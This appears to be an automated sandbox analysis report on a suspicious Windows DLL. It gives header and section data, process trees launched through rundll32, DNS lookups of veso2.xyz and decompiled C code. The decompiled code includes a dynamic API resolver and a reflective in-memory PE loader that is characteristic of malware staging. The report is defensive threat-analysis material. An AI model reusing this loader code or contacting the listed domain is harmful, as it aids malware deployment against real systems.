Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	17bfed211106b3e7d0f15493e6716264

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
push ebx
mov ebx, dword ptr [ebp+08h]
push esi
mov esi, dword ptr [ebp+0Ch]
push edi
mov edi, dword ptr [ebp+10h]
test esi, esi
jne 00007FDD60AAC09Bh
cmp dword ptr [1000378Ch], 00000000h
jmp 00007FDD60AAC0B8h
cmp esi, 01h
je 00007FDD60AAC097h
cmp esi, 02h
jne 00007FDD60AAC0B4h
mov eax, dword ptr [10003794h]
test eax, eax
je 00007FDD60AAC09Bh
push edi
push esi
push ebx
call eax
test eax, eax
je 00007FDD60AAC09Eh
push edi
push esi
push ebx
call 00007FDD60AABFAAh
test eax, eax
jne 00007FDD60AAC096h
xor eax, eax
jmp 00007FDD60AAC0E0h
push edi
push esi
push ebx
call 00007FDD60AAC0EEh
cmp esi, 01h
mov dword ptr [ebp+0Ch], eax
jne 00007FDD60AAC09Eh
test eax, eax
jne 00007FDD60AAC0C9h
push edi
push eax
push ebx
call 00007FDD60AABF86h
test esi, esi
je 00007FDD60AAC097h
cmp esi, 03h
jne 00007FDD60AAC0B8h
push edi
push esi
push ebx
call 00007FDD60AABF75h
test eax, eax
jne 00007FDD60AAC095h
and dword ptr [ebp+0Ch], eax
cmp dword ptr [ebp+0Ch], 00000000h
je 00007FDD60AAC0A3h
mov eax, dword ptr [10003794h]
test eax, eax
je 00007FDD60AAC09Ah
push edi
push esi
push ebx
call eax
mov dword ptr [ebp+0Ch], eax
mov eax, dword ptr [ebp+0Ch]
pop edi
pop esi
pop ebx
pop ebp
retn 000Ch
jmp dword ptr [10002034h]
jmp dword ptr [1000203Ch]
cmp dword ptr [esp+08h], 01h
jne 00007FDD60AAC0A5h
cmp dword ptr [10003794h], 00000000h
jne 00007FDD60AAC09Ch
push dword ptr [esp+04h]
call dword ptr [1000200Ch]
push 00000001h
pop eax
retn 000Ch

Rich Headers

Programming Language:

[ C ] VS98 (6.0) build 8168
[RES] VS98 (6.0) cvtres build 1720
[C++] VS98 (6.0) build 8168
[LNK] VS98 (6.0) imp/exp build 8168

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x2230	0x48	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x204c	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4000	0x6920	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xb000	0xcc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x48	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xb6a	0x1000	False	0.48388671875	data	5.19561194668	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x2000	0x278	0x1000	False	0.093505859375	data	1.04880421735	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3000	0x7a0	0x1000	False	0.10888671875	data	1.05286308404	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x4000	0x6920	0x7000	False	0.882184709821	data	7.55339146769	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xb000	0x60e	0x1000	False	0.057861328125	data	0.51201509742	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x42a0	0x2e8	data	English	United States
RT_ICON	0x4588	0x128	GLS_BINARY_LSB_FIRST	English	United States
RT_ICON	0x46d8	0x128	GLS_BINARY_LSB_FIRST	English	United States
RT_MENU	0xa750	0x4a	data	English	United States
RT_DIALOG	0xa7b0	0xfa	data	English	United States
RT_STRING	0xa8b0	0x6a	data	English	United States
RT_ACCELERATOR	0xa7a0	0x10	data	English	United States
RT_MESSAGETABLE	0x4818	0x5f33	data	English	United States
RT_GROUP_ICON	0x46b0	0x22	data	English	United States
RT_GROUP_ICON	0x4800	0x14	data	English	United States

Imports

DLL	Import
KERNEL32.dll	ExitProcess, LoadLibraryW, GetProcAddress, DisableThreadLibraryCalls
MSVCP60.dll	??0Init@ios_base@std@@QAE@XZ, ??0_Winit@std@@QAE@XZ, ??1_Winit@std@@QAE@XZ, ??1Init@ios_base@std@@QAE@XZ
MSVCRT.dll	malloc, free, atoi, __dllonexit, _onexit, _initterm, _adjust_fdiv

Exports

Name	Ordinal	Address
DF1	1	0x10001530

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Network Port Distribution

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 8, 2021 14:29:22.020349979 CEST	49257	53	192.168.2.4	8.8.8.8
Apr 8, 2021 14:29:23.145103931 CEST	49257	53	192.168.2.4	8.8.8.8
Apr 8, 2021 14:29:23.159771919 CEST	53	49257	8.8.8.8	192.168.2.4
Apr 8, 2021 14:29:24.749634027 CEST	62389	53	192.168.2.4	8.8.8.8
Apr 8, 2021 14:29:24.762242079 CEST	53	62389	8.8.8.8	192.168.2.4
Apr 8, 2021 14:29:25.518115044 CEST	49910	53	192.168.2.4	8.8.8.8
Apr 8, 2021 14:29:25.533590078 CEST	53	49910	8.8.8.8	192.168.2.4
Apr 8, 2021 14:29:27.145659924 CEST	55854	53	192.168.2.4	8.8.8.8
Apr 8, 2021 14:29:27.181631088 CEST	53	55854	8.8.8.8	192.168.2.4
Apr 8, 2021 14:29:27.253982067 CEST	64549	53	192.168.2.4	8.8.8.8
Apr 8, 2021 14:29:27.267417908 CEST	53	64549	8.8.8.8	192.168.2.4
Apr 8, 2021 14:29:27.925820112 CEST	63153	53	192.168.2.4	8.8.8.8
Apr 8, 2021 14:29:27.939580917 CEST	53	63153	8.8.8.8	192.168.2.4
Apr 8, 2021 14:29:28.556616068 CEST	52991	53	192.168.2.4	8.8.8.8
Apr 8, 2021 14:29:28.571469069 CEST	53	52991	8.8.8.8	192.168.2.4
Apr 8, 2021 14:29:30.480237961 CEST	53700	53	192.168.2.4	8.8.8.8
Apr 8, 2021 14:29:30.495018005 CEST	53	53700	8.8.8.8	192.168.2.4
Apr 8, 2021 14:29:37.059997082 CEST	51726	53	192.168.2.4	8.8.8.8
Apr 8, 2021 14:29:37.077299118 CEST	53	51726	8.8.8.8	192.168.2.4
Apr 8, 2021 14:29:37.171709061 CEST	56794	53	192.168.2.4	8.8.8.8
Apr 8, 2021 14:29:37.186023951 CEST	53	56794	8.8.8.8	192.168.2.4
Apr 8, 2021 14:29:41.178985119 CEST	56534	53	192.168.2.4	8.8.8.8
Apr 8, 2021 14:29:41.192791939 CEST	53	56534	8.8.8.8	192.168.2.4
Apr 8, 2021 14:29:53.069598913 CEST	56627	53	192.168.2.4	8.8.8.8
Apr 8, 2021 14:29:53.083688021 CEST	53	56627	8.8.8.8	192.168.2.4
Apr 8, 2021 14:30:02.037838936 CEST	56621	53	192.168.2.4	8.8.8.8
Apr 8, 2021 14:30:02.050606012 CEST	53	56621	8.8.8.8	192.168.2.4
Apr 8, 2021 14:30:09.091437101 CEST	63116	53	192.168.2.4	8.8.8.8
Apr 8, 2021 14:30:09.231167078 CEST	53	63116	8.8.8.8	192.168.2.4
Apr 8, 2021 14:30:09.779707909 CEST	64078	53	192.168.2.4	8.8.8.8
Apr 8, 2021 14:30:09.925051928 CEST	53	64078	8.8.8.8	192.168.2.4
Apr 8, 2021 14:30:10.395690918 CEST	64801	53	192.168.2.4	8.8.8.8
Apr 8, 2021 14:30:10.410343885 CEST	53	64801	8.8.8.8	192.168.2.4
Apr 8, 2021 14:30:10.756151915 CEST	61721	53	192.168.2.4	8.8.8.8
Apr 8, 2021 14:30:10.793107033 CEST	53	61721	8.8.8.8	192.168.2.4
Apr 8, 2021 14:30:13.918431997 CEST	51255	53	192.168.2.4	8.8.8.8
Apr 8, 2021 14:30:13.932979107 CEST	53	51255	8.8.8.8	192.168.2.4
Apr 8, 2021 14:30:14.776710033 CEST	61522	53	192.168.2.4	8.8.8.8
Apr 8, 2021 14:30:14.791197062 CEST	53	61522	8.8.8.8	192.168.2.4
Apr 8, 2021 14:30:15.563446045 CEST	52337	53	192.168.2.4	8.8.8.8
Apr 8, 2021 14:30:15.841141939 CEST	53	52337	8.8.8.8	192.168.2.4
Apr 8, 2021 14:30:16.507224083 CEST	55046	53	192.168.2.4	8.8.8.8
Apr 8, 2021 14:30:16.520334005 CEST	53	55046	8.8.8.8	192.168.2.4
Apr 8, 2021 14:30:16.786179066 CEST	49612	53	192.168.2.4	8.8.8.8
Apr 8, 2021 14:30:16.800784111 CEST	53	49612	8.8.8.8	192.168.2.4
Apr 8, 2021 14:30:18.016479015 CEST	49285	53	192.168.2.4	8.8.8.8
Apr 8, 2021 14:30:18.030330896 CEST	53	49285	8.8.8.8	192.168.2.4
Apr 8, 2021 14:30:20.112616062 CEST	50601	53	192.168.2.4	8.8.8.8
Apr 8, 2021 14:30:20.125422001 CEST	53	50601	8.8.8.8	192.168.2.4
Apr 8, 2021 14:30:20.256707907 CEST	60875	53	192.168.2.4	8.8.8.8
Apr 8, 2021 14:30:20.272202969 CEST	53	60875	8.8.8.8	192.168.2.4
Apr 8, 2021 14:30:20.707715988 CEST	56448	53	192.168.2.4	8.8.8.8
Apr 8, 2021 14:30:20.721771955 CEST	53	56448	8.8.8.8	192.168.2.4
Apr 8, 2021 14:30:23.934767008 CEST	59172	53	192.168.2.4	8.8.8.8
Apr 8, 2021 14:30:23.950438976 CEST	53	59172	8.8.8.8	192.168.2.4
Apr 8, 2021 14:30:24.609482050 CEST	62420	53	192.168.2.4	8.8.8.8
Apr 8, 2021 14:30:24.627530098 CEST	53	62420	8.8.8.8	192.168.2.4
Apr 8, 2021 14:30:25.777808905 CEST	60579	53	192.168.2.4	8.8.8.8
Apr 8, 2021 14:30:25.790393114 CEST	53	60579	8.8.8.8	192.168.2.4
Apr 8, 2021 14:30:27.415144920 CEST	50183	53	192.168.2.4	8.8.8.8
Apr 8, 2021 14:30:27.610382080 CEST	61531	53	192.168.2.4	8.8.8.8
Apr 8, 2021 14:30:27.623883963 CEST	53	61531	8.8.8.8	192.168.2.4
Apr 8, 2021 14:30:28.419294119 CEST	50183	53	192.168.2.4	8.8.8.8
Apr 8, 2021 14:30:28.433654070 CEST	53	50183	8.8.8.8	192.168.2.4
Apr 8, 2021 14:30:31.079299927 CEST	49228	53	192.168.2.4	8.8.8.8
Apr 8, 2021 14:30:31.095681906 CEST	53	49228	8.8.8.8	192.168.2.4
Apr 8, 2021 14:30:31.725174904 CEST	59794	53	192.168.2.4	8.8.8.8
Apr 8, 2021 14:30:31.739020109 CEST	53	59794	8.8.8.8	192.168.2.4
Apr 8, 2021 14:30:32.307065010 CEST	55916	53	192.168.2.4	8.8.8.8
Apr 8, 2021 14:30:32.328953981 CEST	53	55916	8.8.8.8	192.168.2.4
Apr 8, 2021 14:30:42.842799902 CEST	52752	53	192.168.2.4	8.8.8.8
Apr 8, 2021 14:30:43.843122005 CEST	52752	53	192.168.2.4	8.8.8.8
Apr 8, 2021 14:30:43.857826948 CEST	53	52752	8.8.8.8	192.168.2.4
Apr 8, 2021 14:30:57.447335958 CEST	60542	53	192.168.2.4	8.8.8.8
Apr 8, 2021 14:30:57.461633921 CEST	53	60542	8.8.8.8	192.168.2.4
Apr 8, 2021 14:30:58.493922949 CEST	60689	53	192.168.2.4	8.8.8.8
Apr 8, 2021 14:30:58.509104013 CEST	53	60689	8.8.8.8	192.168.2.4
Apr 8, 2021 14:30:59.168838024 CEST	64206	53	192.168.2.4	8.8.8.8
Apr 8, 2021 14:30:59.183671951 CEST	53	64206	8.8.8.8	192.168.2.4
Apr 8, 2021 14:31:00.355638027 CEST	50904	53	192.168.2.4	8.8.8.8
Apr 8, 2021 14:31:00.368513107 CEST	53	50904	8.8.8.8	192.168.2.4
Apr 8, 2021 14:31:01.140944004 CEST	57525	53	192.168.2.4	8.8.8.8
Apr 8, 2021 14:31:02.140784979 CEST	57525	53	192.168.2.4	8.8.8.8
Apr 8, 2021 14:31:02.154592037 CEST	53	57525	8.8.8.8	192.168.2.4
Apr 8, 2021 14:31:03.415580988 CEST	53814	53	192.168.2.4	8.8.8.8
Apr 8, 2021 14:31:03.428740025 CEST	53	53814	8.8.8.8	192.168.2.4
Apr 8, 2021 14:31:03.688951969 CEST	53418	53	192.168.2.4	8.8.8.8
Apr 8, 2021 14:31:04.687899113 CEST	53418	53	192.168.2.4	8.8.8.8
Apr 8, 2021 14:31:04.702517033 CEST	53	53418	8.8.8.8	192.168.2.4
Apr 8, 2021 14:31:05.423943996 CEST	62833	53	192.168.2.4	8.8.8.8
Apr 8, 2021 14:31:05.438870907 CEST	53	62833	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Apr 8, 2021 14:29:27.145659924 CEST	192.168.2.4	8.8.8.8	0x66a5	Standard query (0)	veso2.xyz	A (IP address)	IN (0x0001)
Apr 8, 2021 14:29:27.253982067 CEST	192.168.2.4	8.8.8.8	0x2abb	Standard query (0)	veso2.xyz	A (IP address)	IN (0x0001)
Apr 8, 2021 14:29:30.480237961 CEST	192.168.2.4	8.8.8.8	0xff2	Standard query (0)	veso2.xyz	A (IP address)	IN (0x0001)

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exe PID: 7088 Parent PID: 6080

General

Start time:	14:29:26
Start date:	08/04/2021
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe 'C:\Users\user\Desktop\4123.dll'
Imagebase:	0x13a0000
File size:	116736 bytes
MD5 hash:	542795ADF7CC08EFCF675D65310596E8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: cmd.exe PID: 7100 Parent PID: 7088

General

Start time:	14:29:26
Start date:	08/04/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\4123.dll',#1
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 7120 Parent PID: 7088

General

Start time:	14:29:26
Start date:	08/04/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\4123.dll,DF1
Imagebase:	0x11c0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 7132 Parent PID: 7100

General

Start time:	14:29:26
Start date:	08/04/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe 'C:\Users\user\Desktop\4123.dll',#1
Imagebase:	0x11c0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: WerFault.exe PID: 6652 Parent PID: 7132

General

Start time:	14:29:28
Start date:	08/04/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7132 -s 1008
Imagebase:	0xae0000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: WerFault.exe PID: 6636 Parent PID: 7120

General

Start time:	14:29:28
Start date:	08/04/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7120 -s 1008
Imagebase:	0xae0000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 5752 Parent PID: 7088

General

Start time:	14:29:29
Start date:	08/04/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe 'C:\Users\user\Desktop\4123.dll',DF1
Imagebase:	0x11c0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: WerFault.exe PID: 5948 Parent PID: 5752

General

Start time:	14:29:31
Start date:	08/04/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5752 -s 1008
Imagebase:	0xae0000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: rundll32.exe PID: 7120 Parent PID: 7088 rundll32.exeCOMMON

Execution Graph

Execution Coverage:	24.5%
Dynamic/Decrypted Code Coverage:	85.2%
Signature Coverage:	23.2%
Total number of Nodes:	345
Total number of Limit Nodes:	15

Executed Functions

Function 048511A0, Relevance: 45.6, APIs: 13, Strings: 13, Instructions: 69
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E048511A0() {
				struct HINSTANCE__* _v8;
				struct HINSTANCE__* _v12;
				void* _t32;
				void* _t40;

				_v8 = LoadLibraryA("msvcrt.dll");
				_v12 = LoadLibraryA("kernel32.dll");
				 *0x4853010 = GetProcAddress(_v8, "realloc");
				 *0x4853020 = GetProcAddress(_v8, "exit");
				 *0x4853024 = GetProcAddress(_v8, "strncmp");
				 *0x4853008 = GetProcAddress(_v8, "free");
				 *0x485300c = GetProcAddress(_v8, "malloc");
				 *0x4853014 = GetProcAddress(_v12, "CreateDirectoryA");
				 *0x4853018 = GetProcAddress(_v12, "CreateProcessA");
				 *0x485301c = GetProcAddress(_v12, "DeleteFileA");
				 *0x4853028 = GetProcAddress(_v8, "memset");
				 *0x4853030 = GetProcAddress(_v8, "memcpy");
				 *0x485302c = GetProcAddress(_v8, "strstr"); // executed
				E04851040(); // executed
				_t32 = E048510B0(_t40); // executed
				return _t32;
			}

0x048511b1
0x048511bf
0x048511d1
0x048511e5
0x048511f9
0x0485120d
0x04851221
0x04851235
0x04851249
0x0485125d
0x04851271
0x04851285
0x04851299
0x0485129e
0x048512a3
0x048512ab

APIs

LoadLibraryA.KERNEL32(msvcrt.dll), ref: 048511AB
LoadLibraryA.KERNEL32(kernel32.dll), ref: 048511B9
GetProcAddress.KERNEL32(00000001,realloc), ref: 048511CB
GetProcAddress.KERNEL32(00000001,exit), ref: 048511DF
GetProcAddress.KERNEL32(00000001,strncmp), ref: 048511F3
GetProcAddress.KERNEL32(00000001,free), ref: 04851207
GetProcAddress.KERNEL32(00000001,malloc), ref: 0485121B
GetProcAddress.KERNEL32(?,CreateDirectoryA), ref: 0485122F
GetProcAddress.KERNEL32(?,CreateProcessA), ref: 04851243
GetProcAddress.KERNEL32(?,DeleteFileA), ref: 04851257
GetProcAddress.KERNEL32(00000001,memset), ref: 0485126B
GetProcAddress.KERNEL32(00000001,memcpy), ref: 0485127F
GetProcAddress.KERNEL32(00000001,strstr), ref: 04851293

Part of subcall function 04851040: CreateDirectoryA.KERNELBASE(?,00000000,?,?,?,?,?,?,048512A3), ref: 0485108A

Part of subcall function 048510B0: Sleep.KERNEL32(00003A98), ref: 04851166

Strings

DeleteFileA, xrefs: 0485124E
kernel32.dll, xrefs: 048511B4
memset, xrefs: 04851262
CreateDirectoryA, xrefs: 04851226
strstr, xrefs: 0485128A
realloc, xrefs: 048511C2
CreateProcessA, xrefs: 0485123A
strncmp, xrefs: 048511EA
exit, xrefs: 048511D6
msvcrt.dll, xrefs: 048511A6
memcpy, xrefs: 04851276
malloc, xrefs: 04851212
free, xrefs: 048511FE

Memory Dump Source

Source File: 00000003.00000002.665004317.0000000004851000.00000020.00000001.sdmp, Offset: 04850000, based on PE: true

Associated: 00000003.00000002.664819390.0000000004850000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.666866498.0000000004852000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4850000_rundll32.jbxd

Similarity

API ID: AddressProc$LibraryLoad$CreateDirectorySleep
String ID: CreateDirectoryA$CreateProcessA$DeleteFileA$exit$free$kernel32.dll$malloc$memcpy$memset$msvcrt.dll$realloc$strncmp$strstr
API String ID: 2158191583-3107153655
Opcode ID: 1cd38dbcaeb0a4ccf2370516527b8a6636543a49cb01bc176f0e33b993be3a31
Instruction ID: 31db8aa28d8badaaeed6238bb77f80025b92081a2d471e95a5bad477d22d040e
Opcode Fuzzy Hash: 1cd38dbcaeb0a4ccf2370516527b8a6636543a49cb01bc176f0e33b993be3a31
Instruction Fuzzy Hash: 8521A5B9A81304EF9710FFA0ED4996B7B79FA486817100E95EE0192710DE7CAE00EF60

Uniqueness

Uniqueness Score: -1.00%

Function 011B1B50, Relevance: 22.8, APIs: 15, Instructions: 331
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 90%

			E011B1B50(intOrPtr __ecx, signed short* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				void* _v8;
				intOrPtr* _v12;
				void* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				signed short* _v28;
				void* _v32;
				void* _v36;
				void* _v40;
				long _v44;
				void* _v48;
				void* _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v100;
				char _v104;
				void* _t184;
				void* _t195;
				void* _t202;
				void* _t205;
				void* _t206;
				void* _t223;
				intOrPtr _t320;

				_v20 = __ecx;
				_v8 = 0;
				_v40 = 0;
				if(E011B1270(_v20, _a8, 0x40) != 0) {
					_v28 = _a4;
					if(( *_v28 & 0x0000ffff) == 0x5a4d) {
						if(E011B1270(_v20, _a8, _v28[0x1e] + 0xf8) != 0) {
							_v12 = _a4 + _v28[0x1e];
							if( *_v12 == 0x4550) {
								_t19 = _v12 + 4; // 0x3
								if(( *_t19 & 0x0000ffff) == 0x14c) {
									_t21 = _v12 + 0x38; // 0x0
									if(( *_t21 & 0x00000001) == 0) {
										_t23 = _v12 + 0x14; // 0x0
										_t26 = ( *_t23 & 0x0000ffff) + 0x18; // 0x11b4018
										_v24 = _v12 + _t26;
										_t29 = _v12 + 0x38; // 0x0
										_v60 =  *_t29;
										_v32 = 0;
										while(1) {
											_t37 = _v12 + 6; // 0x40000
											if(_v32 >= ( *_t37 & 0x0000ffff)) {
												break;
											}
											if( *((intOrPtr*)(_v24 + 0x10)) != 0) {
												_v36 =  *((intOrPtr*)(_v24 + 0xc)) +  *((intOrPtr*)(_v24 + 0x10));
											} else {
												_v36 =  *((intOrPtr*)(_v24 + 0xc)) + _v60;
											}
											if(_v36 > _v40) {
												_v40 = _v36;
											}
											_v32 = _v32 + 1;
											_v24 = _v24 + 0x28;
										}
										__imp__GetNativeSystemInfo( &_v104); // executed
										_t56 = _v12 + 0x50; // 0x70207369
										_t59 = _v100 - 1; // 0x70207368
										_v44 =  *_t56 + _t59 &  !(_v100 - 1);
										_t65 = _v100 - 1; // -1
										if(_v44 == (_v40 + _t65 &  !(_v100 - 1))) {
											_t70 = _v12 + 0x34; // 0x0
											_t184 = VirtualAlloc( *_t70, _v44, 0x3000, 4); // executed
											_v16 = _t184;
											if(_v16 != 0) {
												L26:
												_v8 = HeapAlloc(GetProcessHeap(), 8, 0x34);
												if(_v8 != 0) {
													 *((intOrPtr*)(_v8 + 4)) = _v16;
													_t83 = _v12 + 0x16; // 0x400000
													if(( *_t83 & 0x2000) == 0) {
														_v48 = 0;
													} else {
														_v48 = 1;
													}
													 *(_v8 + 0x14) = _v48;
													 *((intOrPtr*)(_v8 + 0x1c)) = _a12;
													 *((intOrPtr*)(_v8 + 0x20)) = _a16;
													 *((intOrPtr*)(_v8 + 0x24)) = _a20;
													 *((intOrPtr*)(_v8 + 0x28)) = _a24;
													 *((intOrPtr*)(_v8 + 0x30)) = _v100;
													_t105 = _v12 + 0x54; // 0x72676f72
													if(E011B1270(_v20, _a8,  *_t105) != 0) {
														_t109 = _v12 + 0x54; // 0x72676f72
														_t195 = VirtualAlloc(_v16,  *_t109, 0x1000, 4); // executed
														_v52 = _t195;
														_t113 = _v12 + 0x54; // 0x72676f72
														E011B10D0(_v52, _v28,  *_t113);
														 *_v8 = _v52 + _v28[0x1e];
														 *((intOrPtr*)( *_v8 + 0x34)) = _v16;
														_t202 = E011B12A0(_v20, _a4, _a8, _v12, _v8); // executed
														if(_t202 != 0) {
															_t131 = _v12 + 0x34; // 0x0
															_t320 =  *((intOrPtr*)( *_v8 + 0x34)) -  *_t131;
															_v56 = _t320;
															if(_t320 == 0) {
																 *((intOrPtr*)(_v8 + 0x18)) = 1;
															} else {
																 *((intOrPtr*)(_v8 + 0x18)) = E011B17B0(_v20, _v8, _v56);
															}
															_t205 = E011B18C0(_v20, _v8); // executed
															if(_t205 != 0) {
																_t206 = E011B15B0(_v20, _v8); // executed
																if(_t206 != 0) {
																	if(E011B1730(_v20, _v8) != 0) {
																		if( *((intOrPtr*)( *_v8 + 0x28)) == 0) {
																			 *(_v8 + 0x2c) = 0;
																			L52:
																			return _v8;
																		}
																		if( *(_v8 + 0x14) == 0) {
																			 *(_v8 + 0x2c) = _v16 +  *((intOrPtr*)( *_v8 + 0x28));
																			L50:
																			goto L52;
																		}
																		_v64 = _v16 +  *((intOrPtr*)( *_v8 + 0x28));
																		_v68 = _v64(_v16, 1, 0);
																		if(_v68 != 0) {
																			 *((intOrPtr*)(_v8 + 0x10)) = 1;
																			goto L50;
																		}
																		SetLastError(0x45a);
																		goto L53;
																	}
																	goto L53;
																}
																goto L53;
															}
															goto L53;
														}
														goto L53;
													} else {
														L53:
														E011B2120(_v20, _v8);
														return 0;
													}
												}
												VirtualFree(_v16, 0, 0x8000);
												SetLastError(0xe);
												return 0;
											}
											_t223 = VirtualAlloc(0, _v44, 0x3000, 4); // executed
											_v16 = _t223;
											if(_v16 != 0) {
												goto L26;
											}
											SetLastError(0xe);
											return 0;
										}
										SetLastError(0xc1);
										return 0;
									}
									SetLastError(0xc1);
									return 0;
								}
								SetLastError(0xc1);
								return 0;
							}
							SetLastError(0xc1);
							return 0;
						}
						return 0;
					}
					SetLastError(0xc1);
					return 0;
				}
				return 0;
			}

0x011b1b56
0x011b1b59
0x011b1b60
0x011b1b77
0x011b1b83
0x011b1b91
0x011b1bc0
0x011b1bd2
0x011b1bde
0x011b1bf5
0x011b1bff
0x011b1c16
0x011b1c1c
0x011b1c33
0x011b1c3a
0x011b1c3e
0x011b1c44
0x011b1c47
0x011b1c4a
0x011b1c65
0x011b1c68
0x011b1c6f
0x00000000
0x00000000
0x011b1c78
0x011b1c94
0x011b1c7a
0x011b1c83
0x011b1c83
0x011b1c9d
0x011b1ca2
0x011b1ca2
0x011b1c59
0x011b1c62
0x011b1c62
0x011b1cab
0x011b1cb4
0x011b1cba
0x011b1cc8
0x011b1cd1
0x011b1ce2
0x011b1d04
0x011b1d08
0x011b1d0e
0x011b1d15
0x011b1d42
0x011b1d53
0x011b1d5a
0x011b1d82
0x011b1d88
0x011b1d92
0x011b1d9d
0x011b1d94
0x011b1d94
0x011b1d94
0x011b1daa
0x011b1db3
0x011b1dbc
0x011b1dc5
0x011b1dce
0x011b1dd7
0x011b1ddd
0x011b1def
0x011b1e05
0x011b1e0d
0x011b1e13
0x011b1e19
0x011b1e25
0x011b1e39
0x011b1e43
0x011b1e59
0x011b1e60
0x011b1e77
0x011b1e77
0x011b1e7a
0x011b1e7d
0x011b1e9a
0x011b1e7f
0x011b1e92
0x011b1e92
0x011b1ea8
0x011b1eaf
0x011b1ec2
0x011b1ec9
0x011b1ee3
0x011b1ef2
0x011b1f50
0x011b1f57
0x00000000
0x011b1f57
0x011b1efb
0x011b1f48
